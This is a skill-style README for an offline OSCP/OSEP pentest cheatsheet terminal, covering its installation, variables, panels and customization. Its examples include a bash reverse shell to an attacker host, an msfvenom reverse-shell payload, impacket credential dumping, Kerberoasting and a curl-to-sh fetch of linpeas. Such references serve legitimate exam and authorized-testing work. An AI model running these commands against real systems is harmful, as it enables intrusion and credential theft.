| name | oscp-pentestcheatsheet-terminal |
| description | Single-file offline penetration testing cheatsheet terminal with 580+ commands, variable substitution, and engagement tracking for OSCP/OSEP preparation |
| triggers | ["how do I use the pentest cheatsheet terminal","show me OSCP command reference tool","set up pentesting cheatsheet interface","configure pentest terminal variables","add custom commands to cheatsheet","export pentest notes and intel","use offline OSCP cheatsheet","customize pentesting command reference"] |
OSCP Pentestcheatsheet Terminal Skill
Skill by ara.so — Security Skills collection
Overview
The OSCP+ Pentestcheatsheet is a single-file, offline-ready HTML command reference terminal containing 580+ penetration testing commands organized into 28 sections. It features variable substitution, favorites, notes, target intel tracking, and command history — all running locally in your browser with localStorage persistence.
Installation
git clone https://github.com/anshu19981/Pentestcheatsheet.git
cd Pentestcheatsheet
open index.html
firefox index.html
google-chrome index.html
No dependencies required — it's a fully self-contained HTML file that works offline.
Project Structure
Pentestcheatsheet/
├── index.html # Single-file terminal (all functionality)
├── profile.jpg # Optional profile image
└── README.md
Key Features
1. Variable Substitution System
The terminal uses placeholder variables that auto-substitute into every command:
| Variable | Default | Purpose |
|---|
{LHOST} | 10.10.14.1 | Attacker IP |
{RHOST} | 10.10.10.10 | Target IP |
{LPORT} | 4444 | Listener port |
{RPORT} | 9001 | Target port |
{DOMAIN} | corp.local | AD domain |
{DC} | 192.168.1.10 | Domain Controller |
{USER} | john | Username |
{PASS} | Password123 | Password |
{HASH} | NTLM_HASH_HERE | NTLM hash |
{URL} | http://10.10.10.10 | Target URL |
2. Command Sections
Commands are organized into 4 major groups:
OSCP+ Core: Recon, Web Attacks, API Attacks, Shells, Linux/Windows PrivEsc, Cloud, Pivoting, Password Attacks, OSINT, Wireless, Misc
Active Directory: AD Recon, AD Attacks, Lateral Movement, Persistence, ADCS, Advanced Attacks
OSEP Advanced: Evasion/OPSEC, Injection, C2 Frameworks, VBA/Office, Binary Analysis
Post-Exploitation: Loot/Post-Exploit, Hash Cracking, Buffer Overflow, Tunneling, File Transfer
3. UI Interactions
Keyboard Shortcuts:
Ctrl+K — Focus search
Escape — Clear search
Ctrl+D — Toggle dark/light mode
Ctrl+F — Open favorites panel
Per-Command Actions:
- Copy — Copies command with variables substituted
- 1-line — Converts multiline to single line with
;
- ★ Star — Adds to favorites
- 📝 Note — Adds inline note to command
- ✔ Mark Done — Tracks completed commands
4. Panels
- 🎯 INTEL — Target intelligence notepad (scope, creds, flags, pivots)
- 📓 NOTES — Freeform side notes with timestamps
- ⏱ HIST — Last 20 copied commands
- ★ FAVS — Starred commands
- + ADD — Add custom commands
Usage Patterns
Basic Workflow
Search Functionality
Adding Custom Commands
{
"title": "Custom Ligolo Tunnel Setup",
"command": `# Start ligolo proxy on {LHOST}
sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# On target, upload and run agent
ligolo-agent -connect {LHOST}:11601 -ignore-cert
# In ligolo prompt:
session
ifconfig
listener_add --addr 0.0.0.0:{LPORT} --to 127.0.0.1:445`,
"tags": ["CRITICAL", "OSEP"]
}
Managing Target Intel
{
"engagementName": "HackTheBox - Inception",
"targetScope": "10.10.10.67\n10.10.10.68",
"currentObjective": "Privesc via docker escape",
"credentials": [
{ user: "cobb", pass: "Mr.Inception!", type: "SSH" },
{ user: "administrator", hash: "aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c", type: "NTLM" }
],
"flags": {
"user": "a5c2ff8b9c2e3d4a1b6789...",
"root": "b8d4ac7f2e9a1c5d8b4673..."
},
"pivotPoints": "10.10.10.67:22 → 172.16.1.10:445",
"notes": "Docker socket exposed at /var/run/docker.sock"
}
Working with Favorites
Notes System
{
"title": "AD Attack Path",
"content": `1. ASREProast on user svc-alfresco
2. WinRM as svc-alfresco
3. BloodHound shows WriteDACL on Exchange Windows Permissions
4. Add svc-alfresco to group → DCSync
5. secretsdump.py for Administrator NTLM`
}
Command History
Command Examples by Category
Reconnaissance
nmap -sC -sV -p- --min-rate=1000 -T4 {RHOST} -oA nmap_full
rustscan -a {RHOST} -- -sC -sV
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u {URL}/FUZZ -mc 200,301,302,403
Active Directory
impacket-GetUserSPNs {DOMAIN}/{USER}:{PASS} -dc-ip {DC} -request
bloodhound-python -u {USER} -p {PASS} -ns {DC} -d {DOMAIN} -c All
impacket-secretsdump '{DOMAIN}/{USER}:{PASS}@{DC}'
Shells & Listeners
nc -nvlp {LPORT}
bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1
msfvenom -p windows/x64/shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f exe -o shell.exe
Privilege Escalation
find / -perm -4000 -type f 2>/dev/null
whoami /priv
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
Data Persistence
All user data stored in browser localStorage:
cs_favorites
cs_commandNotes
cs_commandsDone
cs_targetIntel
cs_sideNotes
cs_copyHistory
cs_customCommands
cs_theme
cs_variables
Clear All Data
localStorage.clear()
Customization
Adding New Section (Modify index.html)
sections.push({
id: 'custom-recon',
name: '🔎 Custom Recon',
group: 'OSCP+ Core',
commands: [
{
title: 'Custom Port Scanner',
command: 'masscan -p1-65535 {RHOST} --rate=1000 -e tun0',
tags: ['HIGH']
}
]
});
Changing Default Variables
const defaultVariables = {
LHOST: '192.168.45.199',
RHOST: '192.168.45.150',
LPORT: '443',
RPORT: '80',
DOMAIN: 'lab.local',
DC: '192.168.45.100',
USER: 'admin',
PASS: 'P@ssw0rd123',
HASH: 'aad3b435b51404eeaad3b435b51404ee:...',
URL: 'http://192.168.45.150'
};
Integration with External Tools
Export to CherryTree
Use with tmux/Terminal
tmux split-window -h
Troubleshooting
Variables Not Substituting
localStorage Not Persisting
Export Button Not Working
Search Not Finding Commands
Dark Mode Not Saving
localStorage.setItem('cs_theme', 'dark')
location.reload()
Best Practices
- Set variables first — Fill LHOST, RHOST before using any commands
- Star essentials — Favorite your go-to commands for quick access
- Use INTEL panel — Track creds and flags as you find them
- Export regularly — Backup intel and notes to text files
- Custom commands — Add your own tools and one-liners
- History review — Check HIST panel to verify what you've run
- Offline first — Download and use locally, not from GitHub Pages
- Clean data — Clear localStorage between engagements for OPSEC
Security Considerations
- Air-gapped safe — Fully offline after initial load
- No telemetry — Nothing sent to external servers
- Local storage only — All data in browser localStorage
- Authorized use only — Tool for legal penetration testing only
- Clear data — Remember to clear sensitive intel after engagement
Additional Resources
This cheatsheet terminal is designed for OSCP/OSEP exam preparation and professional penetration testing engagements. Use it as your command reference hub during engagements, HTB machines, or certification exams.